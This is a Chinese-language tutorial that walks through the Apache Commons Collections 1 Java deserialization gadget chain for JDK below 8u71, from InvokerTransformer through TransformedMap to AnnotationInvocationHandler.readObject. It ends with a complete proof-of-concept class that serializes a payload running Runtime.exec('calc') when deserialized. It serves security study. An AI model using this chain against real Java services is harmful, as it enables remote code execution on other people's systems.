要求JDK版本在8u71以下

这条链所涉及的接口和类:

TransformedMap

TransformedMap用于对Map做一个修饰,被修饰过的Map在添加新的元素时,会分别触发keyTransformervalueTransformer的transform方法(回调)。我们通过下面代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,valueTransformer) 

其中 keyTransformervalueTransformer都是一个实现了Transformer接口的类

Transformer是一个接口,它只有一个待实现的方法

public interface Transformer{
    public Object transform(Object Input);
}

也就是说我们之后只要找到能利用的transform即可

### ConstantTransformer

ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回

public class ConstantTransformer implements Transformer, Serializable {
    
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
}

所以他的作用就是包装一个任意类,在执行回调时返回这个对象

InvokerTransformer 

InvokeTransformer是实现了Transformer接口的一个类
当实例化这个InvokeTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传递给这个函数的参数列表

public class InvokerTransformer implements Transformer, Serializable {
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

后面的回调transform方法,就是利用反射调用input的iMethodName方法

这里类名以及参数都是可控的,就可以造成任意代码执行

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

ChainedTransformer

ChainedTransformer也是实现了 Transformer接口的一个类,它的作用是将内部的多个Transformer串在一起。即前一个回调的返回结果作为后一个回调的参数传入

public ChainedTransformer(Transformer[] transformers){
	super();
	iTransformers = transformers;
}
public Object transform(Object object){
	for(int i=0;i<iTransformers.length;i++)
	{
		object = iTransformers[i].transform(object);
	}
	return object;
}

CC链挖掘

首先注意到InvokerTransformer类的transform方法 能执行任意类的任意方法,将此作为CC链的终点

查找调用了transform方法的类和方法

1.jpg

找到了TransformedMap类中的checkSetValue方法

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

这里的valueTransformer是什么呢

我们看一看他的构造方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

他的构造函数是protected类型的 这是一个单例模式 我们找本类中调用了他的构造方法的方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

就是上面介绍的decorate方法,他会对修饰前的key和value分别调用keyTransformer方法和valueTransformer方法,来得到修饰后的map

我们继续查找哪里调用了checkSetValue方法

2.jpg

在AbstractInputCheckedMapDecorator类中有一个MapEntry类

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

而AbstractInputCheckedMapDecorator类是一个抽象类,TransformedMap类继承了这个抽象类

3.jpg

也就是说在使用entry遍历赋值被修饰过的类赋值时,会调用这个方法

我们继续查找调用了setValue的地方 这时候找到了一个readObject方法

4.jpg

​ 在sun.reflect.annotation包下

5.jpg

这里有两个if判断 我们稍后再提

还有一个问题是sun.reflect.annotation.AnnotationInvocationHandler是jdk中的一个内部类,不能通过new来实例化。

我们可以利用反射获取它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。

6.jpg

AnnotationInvocationHandler的构造方法的参数有两个

第一个参数是一个注解类,第二个参数就是前面构造的map

我们再来看之前那两个if

通过调试可以看到memberTypes.get(name)获取到的就是我们构造的map的key

mamberType就是

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

我们只要找一个带有参数的注解类,让他的参数为我们map的key即可

7.jpg

这里找到了Target

还有最后一个问题 就是Runtime类没有继承Serializable接口 是不可序列化的

我们只需要用InvokerTransformer将其改写即可

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object []{"calc"})
        };

Runtime.class是一个java.lang.Class对象,而Runtime.getRuntime()是一个java.lang.Runtime对象

前者是可以被序列化的,而后者不能

最终的Poc以及用于测试的serialize和unserialize方法

public class CommonCollections1 {
    public static void main( String[] args ) throws Exception
    {
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object []{"calc"})
        };
        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap();
        map.put("value","114514");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedtransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationConstructor.setAccessible(true);
        Object o = annotationInvocationConstructor.newInstance( Target.class,transformedmap);
        serialize(o);
        unserialize();

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("xux.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("xux.bin"));
        Object obj = ois.readObject();
        return obj;

    }

}

8.jpg

Q.E.D.